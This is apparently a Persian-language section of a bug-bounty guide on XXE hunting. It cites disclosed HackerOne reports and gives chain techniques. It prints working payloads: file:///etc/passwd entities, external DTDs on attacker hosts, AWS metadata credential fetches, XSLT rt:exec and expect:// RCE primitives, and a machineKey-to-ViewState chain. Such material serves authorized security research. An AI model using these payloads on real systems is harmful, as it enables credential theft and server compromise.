‏یک endpoint مربوط به REST API که اسماً JSON قبول می‌کرد، درخواست‌های سابمیت‌شده به‌عنوان application/xml را هم parse می‌کرد. سرویس زیرین XML را با DocumentBuilderFactory مربوط به Java unpatchشده به فرمت داخلی تبدیل می‌کرد. با تزریق entity مربوط به SYSTEM اشاره‌کننده به بازه‌های آدرس http://10.0.0.x، تستر می‌توانست سرویس‌های داخلی را probe کند، به پنل admin داخلی ناشناس برسد و متادیتای نمونه‌ی AWS شامل credentialهای موقت IAM را بازیابی کند — همه از طریق یک call مربوط به API تکی که فقط به توکن session معتبر نیاز داشت.

‏اثر تجاری: تصاحب کامل credential مربوط به AWS از یک call مربوط به API authenticated تکی، که تشدید امتیاز از لایه‌ی اپلیکیشن به زیرساخت را ممکن می‌کند.

۱۰

نمونه‌های واقعی و impact

Disclosed Report Citations (Backfill +6 — 2016-2024)
ترجمه‌ی کامل ✓بخش ۱۰ از ۱۱

سناریوها و گزارش‌های افشاشده که الگوی باگ و اثر واقعی را نشان می‌دهند

‏کیس‌های واقعی و تأییدشده‌ی باگ‌بانتی / coordinated-disclosure زیر این اسکیل را گسترش می‌دهند. سه کیس ‏(#۷، #۹، #۱۰) نیازمند-OOB ‏(کور) هستند — به گیت OOB-Or-It-Didn't-Happen مربوط به hunt-ssrf ارجاع‌متقاطع می‌شوند و بدون callback مربوط به Collaborator/interactsh نمی‌توان ادعاشان کرد.

  1. ‏‏Mail.ru — XXE مربوط به فید RSS/Atom مربوط به Pulse ‏(خواندن فایل) (H1 #505947)
  • ‏زیرکلاس: XXE خواندن-مستقیم-فایل ‏(درون‌باند)
  • ‏‏Payload: <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> داخل بدنه‌ی فید RSS ← <title>&xxe;</title> در پاسخ بازتاب یافت
  • ‏علت ریشه‌ای: ingestion مربوط به RSS/Atom مربوط به pulse.mail.ru مقدار parser مربوط به XML را با external general entities فعال صدا زد
  • ‏سال: ۲۰۱۹ — ۶٬۰۰۰ دلار
  1. ‏‏Twitter — XXE مربوط به servlet مربوط به SOAP/SXMP در sms-be-vip.twitter.com (H1 #248668)
  • ‏زیرکلاس: XXE مربوط به SOAP ‏(servlet مربوط به cloudhopper SXMP) — تأییدشده از طریق callback مربوط به HTTP و خواندن فایل بازتابی
  • ‏‏Payload: <!DOCTYPE r [<!ENTITY % ext SYSTEM "http://attacker/x.dtd"> %ext;]> زنجیره‌شده در بدنه‌ی درخواست SXMP
  • ‏علت ریشه‌ای: servlet مربوط به Cloudhopper SXMP مقدار XML ورودی را با تنظیمات پیش‌فرض JAXP parse کرد ‏(entityها resolve شدند)
  • ‏سال: ۲۰۱۷ — ۱۰٬۰۸۰ دلار ‏(کیس مرجع کلاسیک SOAP-XXE)
  1. ‏‏Zivver — XXE مربوط به آپلود عکس پروفایل SVG ← SSRF (H1 #897244)
  • ‏زیرکلاس: XXE مربوط به SVG-upload، OOB-تأییدشده، به SSRF زنجیره می‌شود
  • ‏‏Payload: SVG با <!DOCTYPE svg [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]><text>&xxe;</text>
  • ‏علت ریشه‌ای: سرور SVG آپلودشده را با parser مربوط به XML که entityهای خارجی را resolve می‌کرد thumbnail کرد؛ shutdown مربوط به entity-resolver نبود
  • ‏سال: ۲۰۲۰ — Zivver در آن زمان برنامه‌ی پولی نداشت
  1. ‏‏Open-Xchange — XXE کور از طریق ایمپورت PowerPoint ‏(.pptx) (H1 #334488)
  • ‏زیرکلاس: XXE مربوط به سند Office ‏(PPTX = فایل ZIP از پارت‌های XML)، نیازمند-OOB
  • ‏‏Payload: ppt/slides/slide1.xml داخل ZIP مربوط به .pptx را طوری تغییر بده که <!DOCTYPE x [<!ENTITY % a SYSTEM "http://attacker/d.dtd"> %a;]> را شامل شود؛ DTD خارجی entityهای پارامتری را برای استخراج file:///etc/passwd روی HTTP زنجیره می‌کند
  • ‏علت ریشه‌ای: parser مربوط به PowerPoint پارت‌های XML کانتینر OOXML را قبل از غیرفعال‌کردن entity resolution پیش-رندر کرد
  • ‏سال: ۲۰۱۸ — ۲٬۰۰۰ دلار
  1. ‏‏Uber — XXE کور OOB روی ubermovement.com (H1 #154096)
  • ‏زیرکلاس: XXE کور OOB ‏(محصول vendor مربوط به third-party)، نیازمند-OOB
  • ‏‏Payload: <!DOCTYPE r [<!ENTITY ping SYSTEM "http://attacker.example/">]><search><q>&ping;</q></search>
  • ‏علت ریشه‌ای: endpoint مربوط به XML عمومی در پشته‌ی vendor مربوط به Movement مقدار XML را قبول کرد و entityهای سیستم را resolve کرد؛ استخراج داده ممکن نبود ‏(sandboxed)، فقط ping کور
  • ‏سال: ۲۰۱۶ — ۵۰۰ دلار
  1. ‏‏Adobe Commerce / Magento — «CosmicSting» CVE-2024-34102 (Assetnote writeup)
  • ‏زیرکلاس: XXE-به-RCE ‏(deserialization تودرتو ← XXE در بدنه‌ی درخواست Laminas) — مدرن، در طبیعت اکسپلویت‌شده
  • ‏‏Payload: درخواست JSON مربوط به REST API که simplexml_load_string() تودرتوی آن به <!DOCTYPE r [<!ENTITY % d SYSTEM "http://attacker/x.dtd"> %d;]> می‌رسد؛ DTD خارجی app/etc/env.php ‏(کلید crypt مربوط به admin) را می‌خواند و برمی‌گرداند؛ کلید توکن admin را جعل می‌کند ← RCE
  • ‏علت ریشه‌ای: Laminas\Http\PhpEnvironment\Request مقدار simplexml_load_string را روی بدنه‌ی تحت‌کنترل مهاجم بدون محافظت‌های LIBXML_NOENT deserialize کرد
  • ‏سال: ۲۰۲۴ — باونتی HackerOne مربوط به Adobe پرداخت شد، امتیاز CVSS ۹.۸
اسکیل‌های مرتبط:
۱۱

دروازه‌ی اعتبارسنجی

Related Skills & Chains
ترجمه‌ی کامل ✓بخش ۱۱ از ۱۱

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

  • ‏‏hunt-ssrf — XXE وقتی بفهمی parser مقدار entityهای خارجی را fetch می‌کند، SSRF-با-سینتکس-XML است. primitive زنجیره: <!ENTITY % x SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/role"> مربوط به XXE OOB کور ← استخراج credهای IMDS مربوط به AWS از طریق callback مربوط به DTD parameter-entity ← زنجیره‌ی AssumeRole مربوط به STS. جایی که SSRF خالص فیلتر-بلاک است، gopher:// از طریق XXE-در-libxml2 هنوز می‌تواند به Redis/SMTP برسد.
  • ‏‏hunt-file-upload — XXE غالباً داخل فیچرهای آپلود فایل پنهان می‌شود که بی‌صدا XML را parse می‌کنند ‏(DOCX/XLSX/PPTX، SVG، GPX، KML، OOXML، پیوست‌های SOAP). primitive زنجیره: DOCX با [Content_Types].xml مخرب حاوی DTD مربوط به parameter-entity آپلود کن ← خواندن فایل OOB مربوط به /etc/passwd / web.config / .aws/credentials از طریق parser سند اجراشونده سمت-سرور.
  • ‏‏hunt-rce — XXE ← RCE نادر ولی واقعی است روی PHP ‏(expect://)، Java ‏(اکستنشن‌های XSLT با <xsl:script>/Xalan) و دیپلوی‌های قدیمی‌تر XmlSpy/SAXON. primitive زنجیره: XXE در endpoint مربوط به Java با پردازشگر XSLT آسیب‌پذیر ← <xsl:value-of select="rt:exec(rt:getRuntime(),'id')"/> ← RCE؛ یا XXE مربوط به PHP با stream wrapper مربوط به expect://id فعال ← RCE مستقیم.
  • ‏‏hunt-sharepoint — پشته‌های SharePoint/Exchange/IIS روی‌پرم تاریخچه‌ی طولانی XXE در endpointهای SOAP/CSOM/EWS دارند. primitive زنجیره: XXE ناشناس در _vti_bin/*.asmx یا SOAP مربوط به EWS ← خواندن web.config ← بازیابی <machineKey> ← deserialization مربوط به ViewState ← RCE ‏(پیش‌شرط همسایه‌ی ToolShell).
  • ‏‏security-arsenal — به درخت payload مربوط به XXE دست بزن: خواندن فایل SYSTEM استاندارد، الگوی DTD مربوط به OOB parameter-entity ‏(غیرمستقیم % که XXE کور را کار می‌کند)، php://filter/convert.base64-encode/resource= برای خواندن binary-safe، XInclude ‏(<xi:include href=...>) وقتی DOCTYPE بلاک است، billion-laughs/quadratic-blowup برای DoS و wrapperهای اختصاصی-Java مربوط به jar:// / netdoc://.
  • ‏‏triage-validation — گیت‌های Reproducibility + Pre-Severity را اعمال کن. XXEی که فقط callback مربوط به DNS مربوط به OOB را بدون استخراج داده trigger کند Low/Medium است ‏(افشای اطلاعات «این parser مقدار entityها را fetch می‌کند»)، نه Critical. Critical به اثبات خواندن فایل یا HTTP داخلی نیاز دارد — محتوای واقعی /etc/passwd یا پاسخ JSON مربوط به IMDS را در گزارش نشان بده.
مراحل استخراج‌شده
  1. ۱‏‏`hunt-file-upload` — XXE غالباً داخل فیچرهای آپلود فایل پنهان می‌شود که بی‌صدا XML را parse می‌کنند ‏(DOCX/XLSX/PPTX، SVG، GPX، KML، OOXML، پیوست‌های SOAP). primitive زنجیره: DOCX با `[Content_Types].xml` مخرب حاوی DTD مربوط به parameter-entity آپلود کن ← خواندن فایل OOB مربوط به `/etc/passwd` / `web.config` / `.aws/credentials` از طریق parser سند اجراشونده سمت-سرور.
  2. ۲‏‏`hunt-rce` — XXE ← RCE نادر ولی واقعی است روی PHP ‏(`expect://`)، Java ‏(اکستنشن‌های XSLT با `<xsl:script>`/Xalan) و دیپلوی‌های قدیمی‌تر XmlSpy/SAXON. primitive زنجیره: XXE در endpoint مربوط به Java با پردازشگر XSLT آسیب‌پذیر ← `<xsl:value-of select="rt:exec(rt:getRuntime(),'id')"/>` ← RCE؛ یا XXE مربوط به PHP با stream wrapper مربوط به `expect://id` فعال ← RCE مستقیم.
  3. ۳‏‏`hunt-sharepoint` — پشته‌های SharePoint/Exchange/IIS روی‌پرم تاریخچه‌ی طولانی XXE در endpointهای SOAP/CSOM/EWS دارند. primitive زنجیره: XXE ناشناس در `_vti_bin/*.asmx` یا SOAP مربوط به EWS ← خواندن `web.config` ← بازیابی `<machineKey>` ← deserialization مربوط به ViewState ← RCE ‏(پیش‌شرط همسایه‌ی ToolShell).
  4. ۴‏‏`triage-validation` — گیت‌های Reproducibility + Pre-Severity را اعمال کن. XXEی که فقط callback مربوط به DNS مربوط به OOB را بدون استخراج داده trigger کند Low/Medium است ‏(افشای اطلاعات «این parser مقدار entityها را fetch می‌کند»)، نه Critical. Critical به اثبات خواندن فایل یا HTTP داخلی نیاز دارد — محتوای واقعی `/etc/passwd` یا پاسخ JSON مربوط به IMDS را در گزارش نشان بده.